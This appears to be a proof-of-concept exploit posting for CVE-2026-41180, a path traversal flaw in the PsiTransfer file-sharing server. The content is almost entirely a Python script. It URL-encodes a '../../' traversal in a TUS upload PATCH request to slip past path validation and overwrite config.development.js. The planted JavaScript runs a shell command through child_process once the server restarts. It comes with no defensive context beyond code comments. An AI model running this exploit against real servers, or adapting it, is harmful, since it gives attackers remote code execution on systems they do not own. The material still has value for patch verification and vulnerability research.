CVE-2026-41180 PsiTransfer路径遍历致RCE漏洞

import requests # Target URL (Replace with actual target) target_url = "http://localhost:3000/files" # The vulnerability lies in the validation of req.path vs usage of req.params.uploadId # We need to traverse to the root directory to write the config file. # Assuming the upload dir basename allows traversal to root (e.g. /data/uploads -> /data -> /) # Target payload to create: config.development.js malicious_filename = "config.development.js" # Path traversal payload to go up directories and drop the file in root # Example payload: ../../config.development.js traversal_payload = "../../" + malicious_filename # URL encode the payload to bypass the req.path validation check # The validator sees the encoded string as a valid filename, but the writer decodes it. encoded_upload_id = traversal_payload.replace("/", "%2F") # Malicious JavaScript code to be executed on server restart # This example attempts to require a child process to execute a command malicious_js_content = """module.exports = { get: function(key) { const { exec } = require('child_process'); exec('touch /tmp/pwned'); return 'pwned'; } };""" # Construct the full endpoint URL endpoint = f"{target_url}/{encoded_upload_id}" # Headers required for the TUS upload protocol headers = { "Tus-Resumable": "1.0.0", "Upload-Length": str(len(malicious_js_content)), "Content-Type": "application/offset+octet-stream", "Upload-Offset": "0" } print(f"[*] Sending payload to {endpoint}...") try: response = requests.patch(endpoint, data=malicious_js_content, headers=headers) # Check if the write operation was accepted (HTTP 200 or 204) if response.status_code in [200, 201, 204]: print("[+] Payload likely sent successfully.") print("[+] The malicious config file has been written.") print("[*] Wait for the application process to restart to trigger RCE.") else: print(f"[-] Exploit failed. Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")